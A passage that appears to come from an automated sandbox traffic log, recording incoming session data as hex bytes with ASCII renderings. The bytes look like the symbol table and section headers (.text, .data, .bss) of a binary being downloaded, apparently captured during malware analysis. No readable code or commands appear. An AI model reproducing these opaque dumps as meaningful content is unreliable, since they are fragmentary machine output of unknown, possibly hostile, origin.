2022-07-20 08:32:59 UTC	2365	IN	Data Raw: 00 00 03 01 2d 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 0e 01 00 50 84 03 00 01 00 00 00 03 01 2d 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 0e 01 00 b0 87 03 00 01 00 00 00 03 01 2d 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ae 0e 01 00 c0 79 07 00 01 00 00 00 03 01 1d 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 0f 01 00 e0 af 04 00 01 00 00 00 03 01 5e 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 69 0f 01 00 a0 84 03 00 01 00 00 00 03 01 63 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b2 0f 01 00 e0 77 03 00 01 00 00 00 03 01 6f 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f5 0f 01 00 10 79 03 00 01 00 00 00 03 Data Ascii: -/P-o-y1^icwoy
2022-07-20 08:32:59 UTC	2366	IN	Data Raw: 02 00 00 00 03 00 00 00 00 00 b6 14 01 00 a4 3d 10 00 02 00 00 00 03 00 00 00 00 00 d8 14 01 00 74 3d 10 00 02 00 00 00 03 00 00 00 00 00 fa 14 01 00 b0 c1 0a 00 01 00 20 00 03 00 00 00 00 00 32 15 01 00 10 46 09 00 01 00 20 00 02 00 00 00 00 00 61 15 01 00 40 c2 0a 00 01 00 20 00 03 00 00 00 00 00 98 15 01 00 50 96 03 00 01 00 20 00 02 00 00 00 00 00 ae 15 01 00 ec c2 0a 00 01 00 20 00 03 00 2e 74 65 78 74 00 00 00 04 4a 01 00 01 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 c0 29 10 00 02 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 62 73 73 00 00 00 00 50 00 00 00 05 00 00 00 03 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 15 01 00 b0 c1 0a 00 01 00 00 Data Ascii: =t= 2F a@ P .textJ.data).bssP
2022-07-20 08:32:59 UTC	2382	IN	Data Raw: 03 01 65 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 93 a6 01 00 10 2e 07 00 01 00 20 00 02 00 00 00 00 00 b2 a6 01 00 90 36 07 00 01 00 00 00 03 01 e5 00 00 00 05 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ca a6 01 00 90 36 07 00 01 00 20 00 02 00 00 00 00 00 dd a6 01 00 00 4e 07 00 01 00 00 00 03 01 26 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 03 a7 01 00 00 4e 07 00 01 00 20 00 02 00 00 00 00 00 24 a7 01 00 20 38 07 00 01 00 00 00 03 01 5a 00 00 00 04 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 3e a7 01 00 20 38 07 00 01 00 20 00 02 00 00 00 00 00 53 a7 01 00 60 36 07 00 01 00 00 00 03 01 2c 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 6a a7 01 00 60 36 07 00 01 00 20 00 02 00 00 Data Ascii: e. 66 N&N $ 8Z> 8 S`6,j`6
2022-07-20 08:32:59 UTC	2383	IN	Data Raw: 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 70 aa 01 00 50 48 07 00 01 00 20 00 02 00 00 00 00 00 83 aa 01 00 40 49 07 00 01 00 00 00 03 01 31 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 95 aa 01 00 40 49 07 00 01 00 20 00 02 00 00 00 00 00 a2 aa 01 00 60 45 07 00 01 00 00 00 03 01 31 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 b4 aa 01 00 60 45 07 00 01 00 20 00 02 00 00 00 00 00 c1 aa 01 00 80 2e 07 00 01 00 00 00 03 01 0e 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 eb aa 01 00 80 2e 07 00 01 00 20 00 02 00 00 00 00 00 10 ab 01 00 20 2f 07 00 01 00 00 00 03 01 3f 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 35 ab 01 00 20 2f 07 00 01 00 20 00 02 Data Ascii: ,pPH @I1@I `E1`E .. /?5 /
2022-07-20 08:32:59 UTC	2399	IN	Data Raw: 00 00 00 00 14 01 02 00 a0 b3 06 00 01 00 00 00 03 01 52 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 6a 01 02 00 a0 b3 06 00 01 00 20 00 02 00 00 00 00 00 bb 01 02 00 a0 ae 06 00 01 00 00 00 03 01 8b 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f6 01 02 00 a0 ae 06 00 01 00 20 00 02 00 00 00 00 00 2c 02 02 00 40 ba 06 00 01 00 00 00 03 01 32 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 5c 02 02 00 40 ba 06 00 01 00 20 00 02 00 00 00 00 00 87 02 02 00 10 d1 06 00 01 00 00 00 03 01 38 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 b1 02 02 00 10 d1 06 00 01 00 20 00 02 00 00 00 00 00 d6 02 02 00 c0 bd 06 00 01 00 00 00 03 01 58 00 00 00 04 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 Data Ascii: Rj ,@2\@ 8 X
2022-07-20 08:32:59 UTC	2400	IN	Data Raw: 02 00 00 00 00 00 13 0a 02 00 30 bb 06 00 01 00 00 00 03 01 34 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 45 0a 02 00 30 bb 06 00 01 00 20 00 02 00 00 00 00 00 72 0a 02 00 20 bd 06 00 01 00 00 00 03 01 29 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 a6 0a 02 00 20 bd 06 00 01 00 20 00 02 00 00 00 00 00 d5 0a 02 00 30 c5 06 00 01 00 00 00 03 01 52 00 00 00 04 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 06 0b 02 00 30 c5 06 00 01 00 20 00 02 00 00 00 00 00 32 0b 02 00 20 ab 06 00 01 00 00 00 03 01 69 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 6e 0b 02 00 20 ab 06 00 01 00 20 00 02 00 00 00 00 00 a5 0b 02 00 00 cf 06 00 01 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 Data Ascii: 04E0 r ) 0R0 2 in ,
2022-07-20 08:32:59 UTC	2416	IN	Data Raw: 00 00 8e 70 02 00 d0 b2 03 00 01 00 00 00 03 01 07 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 c7 70 02 00 d0 b2 03 00 01 00 20 00 02 00 00 00 00 00 fb 70 02 00 c0 b2 03 00 01 00 00 00 03 01 07 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 34 71 02 00 c0 b2 03 00 01 00 20 00 02 00 00 00 00 00 68 71 02 00 a0 f1 09 00 01 00 00 00 03 01 0b 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 9a 71 02 00 a0 f1 09 00 01 00 20 00 02 00 00 00 00 00 c7 71 02 00 18 da 00 00 03 00 00 00 03 01 34 00 00 00 0c 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 f9 71 02 00 a0 f5 09 00 01 00 00 00 03 01 0b 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 2b 72 02 00 a0 f5 09 00 01 00 20 00 02 00 00 00 00 00 58 Data Ascii: pp p4q hqq q4q+r X
2022-07-20 08:32:59 UTC	2417	IN	Data Raw: 00 00 00 00 65 5e 02 00 00 00 00 00 00 00 20 00 02 00 00 00 00 00 69 79 02 00 80 f1 09 00 01 00 00 00 03 01 1e 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 9b 79 02 00 80 f1 09 00 01 00 20 00 02 00 00 00 00 00 c8 79 02 00 80 f5 09 00 01 00 00 00 03 01 1e 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 fa 79 02 00 80 f5 09 00 01 00 20 00 02 00 00 00 00 00 27 7a 02 00 80 0b 0a 00 01 00 00 00 03 01 1e 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 78 7a 02 00 80 0b 0a 00 01 00 20 00 02 00 00 00 00 00 c4 7a 02 00 80 0c 0a 00 01 00 00 00 03 01 1e 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 15 7b 02 00 80 0c 0a 00 01 00 20 00 02 00 00 00 00 00 61 7b 02 00 20 e8 09 00 01 00 00 00 03 01 1e 00 00 Data Ascii: e^ iyy yy 'zxz z{ a{
2022-07-20 08:32:59 UTC	2433	IN	Data Raw: 65 0d 03 00 58 fb 00 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 fa 0d 03 00 ac fb 00 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 66 0e 03 00 00 fc 00 00 04 00 00 00 03 01 5c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f0 0e 03 00 5c fc 00 00 04 00 00 00 03 01 50 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 18 0f 03 00 ac fc 00 00 04 00 00 00 03 01 50 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 40 0f 03 00 fc fc 00 00 04 00 00 00 03 01 50 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 80 0f 03 00 4c fd 00 00 04 00 00 00 03 01 50 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 c0 0f 03 Data Ascii: eXTTf\\PP@PLP
2022-07-20 08:32:59 UTC	2434	IN	Data Raw: 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f4 16 03 00 1c 03 01 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 48 17 03 00 48 03 01 00 04 00 00 00 03 01 74 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 d2 17 03 00 bc 03 01 00 04 00 00 00 03 01 60 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 58 18 03 00 1c 04 01 00 04 00 00 00 03 01 58 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ee 18 03 00 74 04 01 00 04 00 00 00 03 01 60 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 77 19 03 00 d4 04 01 00 04 00 00 00 03 01 64 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 02 1a 03 00 38 05 01 00 04 00 00 00 03 01 2c 00 00 00 01 Data Ascii: ,HHt`XXt`wd8,
2022-07-20 08:32:59 UTC	2450	IN	Data Raw: 03 00 00 bb 03 00 01 00 20 00 02 00 00 00 00 00 eb 8c 03 00 40 bc 03 00 01 00 00 00 03 01 16 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 24 8d 03 00 40 bc 03 00 01 00 20 00 02 00 00 00 00 00 58 8d 03 00 80 bd 03 00 01 00 00 00 03 01 72 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 8b 8d 03 00 80 bd 03 00 01 00 20 00 02 00 00 00 00 00 b9 8d 03 00 10 ba 03 00 01 00 00 00 03 01 72 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f0 8d 03 00 10 ba 03 00 01 00 20 00 02 00 00 00 00 00 22 8e 03 00 c0 bb 03 00 01 00 00 00 03 01 72 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 5b 8e 03 00 c0 bb 03 00 01 00 20 00 02 00 00 00 00 00 8f 8e 03 00 40 bb 03 00 01 00 00 00 03 01 72 00 00 00 03 00 00 00 00 Data Ascii: @$@ Xr r "r[ @r
2022-07-20 08:32:59 UTC	2451	IN	Data Raw: c2 95 03 00 e0 0b 0a 00 01 00 20 00 02 00 00 00 00 00 0e 96 03 00 c0 0b 0a 00 01 00 00 00 03 01 17 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 5f 96 03 00 c0 0b 0a 00 01 00 20 00 02 00 00 00 00 00 ab 96 03 00 50 88 04 00 01 00 00 00 03 01 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 24 97 03 00 50 88 04 00 01 00 20 00 02 00 00 00 00 00 98 97 03 00 40 88 04 00 01 00 00 00 03 01 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 2d 98 03 00 40 88 04 00 01 00 20 00 02 00 00 00 00 00 bd 98 03 00 30 0c 0a 00 01 00 00 00 03 01 0b 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 0e 99 03 00 30 0c 0a 00 01 00 20 00 02 00 00 00 00 00 5a 99 03 00 e0 0c 0a 00 01 00 00 00 03 01 17 00 00 00 01 00 00 Data Ascii: _ P$P @-@ 00 Z
2022-07-20 08:32:59 UTC	2467	IN	Data Raw: 00 00 00 00 00 00 02 00 00 00 00 00 00 00 cb 33 04 00 50 07 03 00 01 00 20 00 02 00 00 00 00 00 0a 34 04 00 c0 0c 03 00 01 00 00 00 03 01 12 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 4e 34 04 00 c0 0c 03 00 01 00 20 00 02 00 00 00 00 00 8d 34 04 00 80 09 03 00 01 00 00 00 03 01 39 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 d5 34 04 00 80 09 03 00 01 00 20 00 02 00 00 00 00 00 18 35 04 00 10 08 03 00 01 00 00 00 03 01 8d 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 80 35 04 00 10 08 03 00 01 00 20 00 02 00 00 00 00 00 e3 35 04 00 d0 0d 03 00 01 00 00 00 03 01 8d 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 4b 36 04 00 d0 0d 03 00 01 00 20 00 02 00 00 00 00 00 ae 36 04 00 e0 0c 03 Data Ascii: 3P 4N4 494 55 5K6 6
2022-07-20 08:32:59 UTC	2468	IN	Data Raw: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 8a 3e 04 00 a0 00 03 00 01 00 20 00 02 00 00 00 00 00 c1 3e 04 00 4c d2 00 00 03 00 00 00 03 01 40 00 00 00 0f 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 fd 3e 04 00 40 ff 02 00 01 00 00 00 03 01 16 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 39 3f 04 00 40 ff 02 00 01 00 20 00 02 00 00 00 00 00 70 3f 04 00 00 00 03 00 01 00 00 00 03 01 95 00 00 00 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 be 3f 04 00 00 00 03 00 01 00 20 00 02 00 00 00 00 00 07 40 04 00 a0 fe 02 00 01 00 00 00 03 01 95 00 00 00 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 55 40 04 00 a0 fe 02 00 01 00 20 00 02 00 00 00 00 00 9e 40 04 00 60 ff 02 00 01 00 00 00 03 01 97 00 00 00 07 00 00 00 00 Data Ascii: > >L@>@9?@ p?? @U@ @`
2022-07-20 08:32:59 UTC	2484	IN	Data Raw: 00 00 03 00 00 00 03 01 27 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 c2 cd 04 00 c8 a7 00 00 03 00 00 00 03 01 0c 00 00 00 03 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 f4 cd 04 00 cc d0 00 00 03 00 00 00 03 01 10 00 00 00 04 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 27 ce 04 00 08 d1 00 00 03 00 00 00 03 01 10 00 00 00 04 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 5a ce 04 00 4c 9d 00 00 03 00 00 00 03 01 3c 00 00 00 03 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 90 ce 04 00 6c d0 00 00 03 00 00 00 03 01 28 00 00 00 0a 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 c2 ce 04 00 dc d0 00 00 03 00 00 00 03 01 10 00 00 00 04 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 f5 ce 04 00 18 d1 00 00 03 Data Ascii: ''ZL<l(
2022-07-20 08:32:59 UTC	2485	IN	Data Raw: 00 00 00 00 00 00 02 00 00 00 00 00 00 00 11 d3 04 00 e8 7a 01 00 04 00 00 00 03 01 74 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 51 d3 04 00 5c 7b 01 00 04 00 00 00 03 01 6c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 90 d3 04 00 c8 7b 01 00 04 00 00 00 03 01 6c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 cf d3 04 00 34 7c 01 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 16 d4 04 00 60 7c 01 00 04 00 00 00 03 01 34 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 5e d4 04 00 94 7c 01 00 04 00 00 00 03 01 80 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 96 d4 04 00 14 7d 01 00 04 00 00 00 03 01 80 00 00 00 03 00 00 00 00 00 00 Data Ascii: ztQ\{l{l4\|,`\|4^\|}
2022-07-20 08:32:59 UTC	2501	IN	Data Raw: 00 00 00 00 00 00 2e 72 64 61 74 61 00 00 54 61 00 00 03 00 00 00 03 01 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 42 05 00 28 c9 0a 00 01 00 00 00 03 01 21 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 42 05 00 80 14 0a 00 01 00 00 00 03 01 74 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 47 00 00 10 0d 0b 00 01 00 00 00 03 01 55 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cd 42 05 00 4c c9 0a 00 01 00 00 00 03 01 24 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 43 05 00 60 18 0a 00 01 00 00 00 03 01 38 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 43 05 00 e0 18 0a 00 01 00 00 00 03 01 52 00 00 00 02 00 00 00 00 00 00 00 00 00 00 Data Ascii: .rdataTaQvB(!Bt$GUBL$C`8<CR
2022-07-20 08:32:59 UTC	2502	IN	Data Raw: 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 46 05 00 84 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 46 05 00 f4 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 57 46 05 00 dc 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 46 05 00 cc 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 46 05 00 d8 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b3 46 05 00 f0 9c 00 00 03 00 00 00 03 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 46 05 00 e4 9c 00 00 03 Data Ascii: F6FWFvFFFF
2022-07-20 08:32:59 UTC	2518	IN	Data Raw: 00 00 03 01 50 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 43 a1 05 00 ec f7 01 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 88 a1 05 00 40 f8 01 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 d4 a1 05 00 94 f8 01 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 15 a2 05 00 c0 f8 01 00 04 00 00 00 03 01 6c 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 58 a2 05 00 2c f9 01 00 04 00 00 00 03 01 60 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 9e a2 05 00 8c f9 01 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 e4 a2 05 00 e0 f9 01 00 04 00 00 00 03 Data Ascii: PCT@T,lX,`T
2022-07-20 08:32:59 UTC	2519	IN	Data Raw: 00 00 02 00 00 00 00 00 00 00 e6 a8 05 00 90 ff 01 00 04 00 00 00 03 01 64 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 31 a9 05 00 f4 ff 01 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 6a a9 05 00 20 00 02 00 04 00 00 00 03 01 64 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 b5 a9 05 00 84 00 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ee a9 05 00 b0 00 02 00 04 00 00 00 03 01 64 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 3a aa 05 00 14 01 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 97 5c 02 00 00 00 00 00 00 00 20 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: d1,j d,d:,\
2022-07-20 08:32:59 UTC	2535	IN	Data Raw: 00 00 00 00 00 00 9d 22 06 00 a0 76 0a 00 01 00 20 00 02 00 00 00 00 00 f5 22 06 00 00 76 0a 00 01 00 00 00 03 01 4f 00 00 00 05 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 52 23 06 00 00 76 0a 00 01 00 20 00 02 00 00 00 00 00 aa 23 06 00 c0 74 0a 00 01 00 00 00 03 01 4f 00 00 00 05 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 db 23 06 00 c0 74 0a 00 01 00 20 00 02 00 00 00 00 00 07 24 06 00 00 4f 0a 00 01 00 00 00 03 01 54 01 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 3a 24 06 00 00 4f 0a 00 01 00 20 00 02 00 00 00 00 00 68 24 06 00 a0 cf 05 00 01 00 00 00 03 01 b2 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 cc 24 06 00 a0 cf 05 00 01 00 20 00 02 00 00 00 00 00 2b 25 06 00 a0 c6 05 00 01 00 00 00 03 01 4a Data Ascii: "v "vOR#v #tO#t $OT:$O h$$ +%J
2022-07-20 08:32:59 UTC	2536	IN	Data Raw: 00 00 03 01 ba 01 00 00 04 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 f0 2e 06 00 10 db 05 00 01 00 20 00 02 00 00 00 00 00 48 2f 06 00 30 c9 05 00 01 00 00 00 03 01 f4 01 00 00 07 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 b4 2f 06 00 30 c9 05 00 01 00 20 00 02 00 00 00 00 00 1b 30 06 00 80 dd 05 00 01 00 00 00 03 01 0e 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 78 30 06 00 80 dd 05 00 01 00 20 00 02 00 00 00 00 00 d0 30 06 00 a0 da 05 00 01 00 00 00 03 01 67 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 2f 31 06 00 a0 da 05 00 01 00 20 00 02 00 00 00 00 00 89 31 06 00 c0 d9 05 00 01 00 00 00 03 01 22 00 00 00 02 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 e3 31 06 00 c0 d9 05 00 01 00 20 00 02 Data Ascii: . H/0/0 0x0 0g/1 1"1
2022-07-20 08:32:59 UTC	2552	IN	Data Raw: 00 00 00 00 93 b8 06 00 7c 50 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 08 b9 06 00 a8 50 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 7a b9 06 00 d4 50 02 00 04 00 00 00 03 01 6c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ef b9 06 00 40 51 02 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 74 ba 06 00 94 51 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 e9 ba 06 00 c0 51 02 00 04 00 00 00 03 01 2c 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 5b bb 06 00 ec 51 02 00 04 00 00 00 03 01 54 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 Data Ascii: \|P,P,zPl@QTtQ,Q,[QT
2022-07-20 08:32:59 UTC	2553	IN	Data Raw: 00 00 00 00 00 00 32 c4 06 00 20 26 07 00 01 00 20 00 02 00 00 00 00 00 3d c4 06 00 70 82 08 00 01 00 00 00 03 01 14 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 71 c4 06 00 70 82 08 00 01 00 20 00 02 00 00 00 00 00 a0 c4 06 00 40 e0 00 00 03 00 00 00 03 01 28 00 00 00 06 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 d2 c4 06 00 40 82 08 00 01 00 00 00 03 01 28 00 00 00 04 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 06 c5 06 00 40 82 08 00 01 00 20 00 02 00 00 00 00 00 35 c5 06 00 b0 a4 0a 00 01 00 00 00 03 01 19 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 4d c5 06 00 b0 a4 0a 00 01 00 20 00 02 00 00 00 00 00 60 c5 06 00 40 a7 0a 00 01 00 00 00 03 01 19 00 00 00 03 00 00 00 00 00 00 00 00 00 02 00 00 00 00 Data Ascii: 2 & =pqp @(@(@ 5M `@
2022-07-20 08:32:59 UTC	2569	IN	Data Raw: 00 00 90 31 07 00 00 76 03 00 01 00 00 00 03 01 21 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 cc 31 07 00 00 76 03 00 01 00 20 00 02 00 00 00 00 00 03 32 07 00 c0 dd 08 00 01 00 00 00 03 01 13 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 43 32 07 00 c0 dd 08 00 01 00 20 00 02 00 00 00 00 00 7e 32 07 00 40 d6 08 00 01 00 00 00 03 01 73 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 df 32 07 00 40 d6 08 00 01 00 20 00 02 00 00 00 00 00 3b 33 07 00 c0 d6 08 00 01 00 00 00 03 01 98 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 95 33 07 00 c0 d6 08 00 01 00 20 00 02 00 00 00 00 00 ea 33 07 00 50 dc 08 00 01 00 00 00 03 01 12 00 00 00 01 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 26 Data Ascii: 1v!1v 2C2 ~2@s2@ ;33 3P&
